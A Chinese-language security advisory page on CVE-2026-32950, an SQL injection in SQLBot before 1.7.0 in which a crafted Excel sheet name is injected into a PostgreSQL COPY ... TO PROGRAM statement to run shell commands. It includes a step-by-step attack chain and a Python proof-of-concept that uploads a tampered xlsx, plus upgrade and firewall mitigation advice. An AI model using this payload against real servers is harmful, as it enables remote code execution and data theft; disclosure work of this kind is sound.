IPBUF安全漏洞报告
English
CVE-2026-32950 CVSS 8.8 高危

CVE-2026-32950 SQLBot SQL注入致远程代码执行漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32950
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SQLBot

相关标签

SQL注入RCESQLBotPostgreSQLCVE-2026-329500day

漏洞概述

SQLBot在1.7.0之前的版本中存在严重的SQL注入漏洞。攻击者可利用`/api/v1/datasource/uploadExcel`接口,通过上传恶意构造的Excel文件,将未经过滤的Sheet名称注入到PostgreSQL的`COPY`语句中。这允许攻击者执行任意系统命令,完全控制后端服务器并窃取敏感数据。

技术细节

漏洞核心在于SQLBot处理Excel上传时的两个缺陷:1. 在`datasource.py#L351`处,代码直接将Excel Sheet名称拼接到PostgreSQL表名中,未进行任何转义;2. 在`datasource.py#L385-L388`处,这些表名通过f-string直接嵌入`COPY` SQL命令。攻击者利用两阶段攻击手法:首先上传包含Shell命令数据的正常文件,然后上传一个经过XML篡改的Excel文件。该文件的Sheet名称被修改为注入Payload(如`... TO PROGRAM 'sh'`),从而绕过Sheet名称长度限制,诱导数据库执行系统命令,实现以`postgres`用户身份的RCE。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个低权限账户的认证Token。
STEP 2
2. 准备恶意载荷
构造一个包含恶意XML结构的Excel文件,利用Sheet名称字段注入`COPY ... TO PROGRAM` SQL语句。
STEP 3
3. 上传文件
向`/api/v1/datasource/uploadExcel`接口发送包含恶意Sheet名的Excel文件。
STEP 4
4. 执行注入
后端解析Excel时,将Sheet名拼接到SQL语句并执行,触发PostgreSQL执行系统命令(如`sh`)。
STEP 5
5. 获取权限
攻击者获得`postgres`用户权限,进而读取敏感文件或控制数据库服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import io # Target URL url = 'http://target:port/api/v1/datasource/uploadExcel' # Create a malicious Excel file by tampering with XML # The sheet name is injected into a COPY command to execute 'sh' malicious_sheet_name = "tablename) TO PROGRAM 'sh' --" # Simulating the creation of a zip file (xlsx) with modified workbook.xml # In a real exploit, you would unzip an xlsx, modify xl/workbook.xml, and re-zip. memory_file = io.BytesIO() with zipfile.ZipFile(memory_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Add dummy content (simplified for PoC) zf.writestr('xl/workbook.xml', f'<workbook><sheets><sheet name="{malicious_sheet_name}"/></sheets></workbook>') zf.writestr('[Content_Types].xml', '<Types />') memory_file.seek(0) # Send the malicious file files = {'file': ('exploit.xlsx', memory_file, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')} headers = {'Authorization': 'Bearer <low_privilege_token>'} response = requests.post(url, files=files, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

影响范围

SQLBot < 1.7.0

防御指南

临时缓解措施
建议立即升级到v1.7.0版本。若无法升级,请临时通过防火墙策略限制对`/api/v1/datasource/uploadExcel`接口的访问,仅允许受信任的内网IP调用,并密切监控数据库服务器的异常进程和文件读写行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表